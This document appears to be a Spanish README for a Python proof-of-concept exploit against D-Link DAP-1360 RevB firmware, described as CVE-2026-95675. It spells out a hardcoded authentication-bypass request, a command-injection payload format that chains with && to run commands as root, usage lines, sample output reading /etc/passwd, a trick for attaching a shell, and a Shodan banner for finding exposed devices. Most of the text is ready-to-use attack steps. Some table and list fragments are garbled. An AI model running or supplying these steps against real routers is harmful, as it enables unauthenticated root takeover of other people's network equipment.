
PoC en Python que explota CVE-2026-95675, una inyección de comandos root no autenticada en el firmware del D-Link DAP-1360 RevB mediante un bypass de autenticación hardcodeado y el handler formSystemCheck.

Ejecución remota de comandos como root sin autenticación (CWE-78 — Inyección de comandos del sistema operativo)
en el manejador formSystemCheck, accesible mediante una puerta trasera de autenticación
codificada de forma fija. Verificado contra DAP-1360 RevB, firmware 2.14B05.
Dos problemas independientes encadenados:
1. Ruta de omisión de autenticación codificada de forma fija. En main (httpd @ 0x4064c8):
strcasecmp(request_path, "dEfWzDLOgIn") ; token @ 0x48046c
...
sw 1, 8(sp_login_slot) ; mark this source-IP as logged in
GET /dEfWzDLOgIn devuelve 404 (no es un archivo real) pero, como efecto
secundario, marca la ranura de sesión de la IP de origen solicitante como autenticada — sin
nombre de usuario, contraseña ni captcha.
2. Inyección de comandos del sistema operativo. formSystemCheck
(POST /apply.cgi?formSystemCheck) construye un comando de shell con:
_system("ping %s -c 2 >/tmp/test_ping", cgi("ipv4_ping"))
ipv4_ping se pasa sin sanear a la cadena de formato; _system() usa
vsprintf en un búfer de pila de tamaño fijo y lo entrega a system(). El manejador
no realiza ninguna comprobación de autenticación propia.
El analizador de cuerpo POST de busybox elimina ;, |, la comilla invertida y el salto de línea, pero
&& sobrevive. Una carga útil debe terminar el prefijo ping y luego encadenar
con &&, por ejemplo:
127.0.0.1 -c 1 && <command> > /www/out.htm && x
python3 autopoc.py <target> [command]
python3 autopoc.py 192.168.0.50
python3 autopoc.py 192.168.0.50 "ls -la /"
| Arg | Descripción |
|---|---|
target | host/IP objetivo (esquema predeterminado http://) |
command (opcional) | comando de root a ejecutar (predeterminado: ); use , no /` |
GET /dEfWzDLOgIn — activa la omisión de autenticación codificada de forma fija (devuelve 404; el efecto secundario ocurre en el lado del servidor).POST /apply.cgi?formSystemCheck con ipv4_ping=127.0.0.1 -c 1 && <cmd> > /www/<OUT> && x — inyección de comandos como root.GET /<OUT> — recupera la salida del comando (httpd sirve .htm/.html, no .txt).[*] target : 192.168.0.50
[*] command : cat /etc/passwd
[*] GET /dEfWzDLOgIn -> 404 (login slot flagged)
[*] POST /apply.cgi?formSystemCheck -> 302
[+] output (RCE.htm):
------------------------------------------------------------
root:x:0:0:root:/:/dev/null
nobody:x:0:0:nobody:/:/dev/null
------------------------------------------------------------
nc, wget, base64, chmod, id — use cat, echo, ls, cp, etc._system() retorna, sh <&5 >&5 2>&5 puede adjuntar un shell a la conexión activa (frágil bajo QEMU en modo usuario; mejor en hardware real).Shodan ("CAMEO-httpd", el banner del proveedor de httpd) muestra solo un pequeño número de
instancias expuestas a internet de esta base de código exacta; el dispositivo es principalmente un
punto de acceso del lado de la LAN. La explotación requiere alcanzar la interfaz de
gestión web.
cat /etc/passwd&&;